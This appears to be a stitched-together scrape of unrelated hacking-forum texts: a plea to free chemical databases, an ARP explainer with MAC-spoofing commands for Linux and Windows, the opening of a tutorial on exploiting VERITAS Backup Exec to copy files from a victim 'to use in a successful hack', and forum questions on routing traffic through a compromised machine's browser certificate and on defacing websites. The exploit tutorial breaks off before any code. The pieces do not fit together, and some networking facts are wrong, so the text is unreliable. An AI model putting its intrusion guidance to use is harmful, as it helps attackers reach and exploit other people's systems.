Chemistry is a strange science. Maybe because it sprouted from the mystical Alchemy, Chemistry remains somehow arcane. Unlike other major disciplines, chemical knowledge is often somehow secret, hidden or so esoteric it resembles sheer non-sense, even to highly educated individuals.
Chemistry is a powerful science, and, were all its databases publicly available, the balance of power would drastically shift. In some cases, I believe small communities would be able to manufacture their own medicines, fertilizers, pesticides, and food additives; Amateur or unemployed chemists have little to no chance to apply their knowledge for scientific innovation. They are stuck with teaching or experimenting/repeating well documented known processes.
I propose an effort for the liberation of chemical and pharmaceutical databases, software, books and papers. The study of matter and the transformations it undergoes is a discipline too fundamental to be guarded behind the closed doors of academia and multi national corporations.
Address resolution protocol or ARP is a protocol that is used to get the hardware address (MAC) of a device on the network with its IP address (Network Layer). RARP does the opposite of ARP; it will look up the IP address with the MAC address. RARP works a little differently, it will send out a broadcast asking who has the MAC address, a RARP server will then respond with the nodes IP address. ARP is commonly used in Ethernet networks but can also be used in other types of networks. Ipv6 doesn’t use ARP, but rather NDP (Network Discovery Protocol). In order for Ethernet to send data it needs the MAC address of the receiving device.
A MAC address uniquely identifies a device on the network and is in the Data Link level (level 2) of the OSI model. These MAC addresses are burned into the network card by the manufacture and are should be the only one in the world. The first 6 digits of the MAC address is assigned to the network interface card is the manufacture ID and the last 6 is the cards serial number. You can change your MAC at the software level (it wont change the burned in MAC address on the NIC) fairly easily.
In linux type the following command:
ifconfig eth0 down hw ether 00:01:02:03:04:05
Now bring up the interface
Ifconfig eth0 up
In Windows you can change a registry value.
1. Browse to ”HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}”
2. You will see several subkeys that are 4 digits long, these keys represent your network adapters. You will find a key called ‘DriverDesc’ under these subkeys which displays the description of the network adapter. Find the one you want to edit
3. Edit or create a string called ‘NetworkAddress’ and place your new spoofed MAC address into it, ex 00-01-02-03-04-05.
4. Restart your network interface
Also in windows some network devices have a built in feature that you can use to change the MAC address.
1. Open the device manager
VERITAS Remote File Access Exploit
------------------------------------------------
This vulnerability exploits a flaw in VERITAS Backup Exec in order to access and copy files from a remote machine.
Intent:
To get sensitive information about and from the victim host to use in a successful hack. Employ this solution when you cannot directly enumerate users and shares or have not gotten into the network yet. You can also perform various other things like buffer overflows and SQL injections to get into the network, this tutorial will focus on the VERITAS exploit. This is NOT the complete hack, just part of it. This exploit will NOT give you direct admin rights. It is only useful in gathering information about your target. The information gathered can then be used to gain admin rights.
Ingredients:
Computer
Metasploit Framework or 3 (if you got it to work )
Local access to network
Windows Server with Backup Exec Windows 10.0 and below
NTBKUP.exe ( http://www.fpns.net/willy/msbackup.htm )
Time and patience
Introduction:
On recent engagements I have wondered if all businesses had certain software commonalities. Every institution is dramatically different from the next. But they all perform the same basic functions: cater to customers. What is needed for the most part in every environment is an Operating System (obviously), but what else? I am writing this tutorial to accommodate everyone from newbie to super hax0r, so please bear with me if you find fundamental information and steps. The main purpose of my quest is to determine if certain vulnerabilities exist in all environments. That statement is pretty vague and compiles every single software aspect from every single enterprise. So I decided to narrow my search in hopes of finding a viable solution.
Hi guys, i got a question for anyone who could have a clue or reference to the right solution
Say that Alice's computer has a certificate installed and bob's computer doesn't. Alice is able to access some web application since she has the certificate installed however bob can't.
If bob gained access to Alice's computer say via some exploit and he didn't want to hijack Alice's RDP inorder to access thoses application. Is there a known way that Bob can tunnel his web traffic through Alice's browser so that it can be authenticated with Alice's certificate inorder to access the same application?
Thanks

Can anyone assist me?
hello everybody, this is my first topic i just joined.
So i know a bit of javascript,php,sql, i've heard of some programms like lazy kali, john the ripper, and i was doing "war games" you call it? hacking/cracking challenges i found on few websites. Never hacked anything besides those challanges i accomplished to finish. So my question is how do you hack website, and change all the html, css code and put your own like signature or whatever you want? I guess you do that by simple writing your own html,css code. But how do i hack it, only thing i know is that GET method is vunerable in php. I was trying downloading .php files from websites, but can't seems to find any vunerability?
Any tips, advices, methods are welcome. thanks in advance
I need an expert insights on this.
we have a go daddy hosted exchange server, this scenario is that we communicate regular with company and last week the company made changes to our account from an email sent from us. I found out the email was spoofed as the header was from our email address but underline using a @usa.com email.
its like the receiver never got our actually email but only that of the spoof-er with the added instructions.
I need help understand this.
thanks
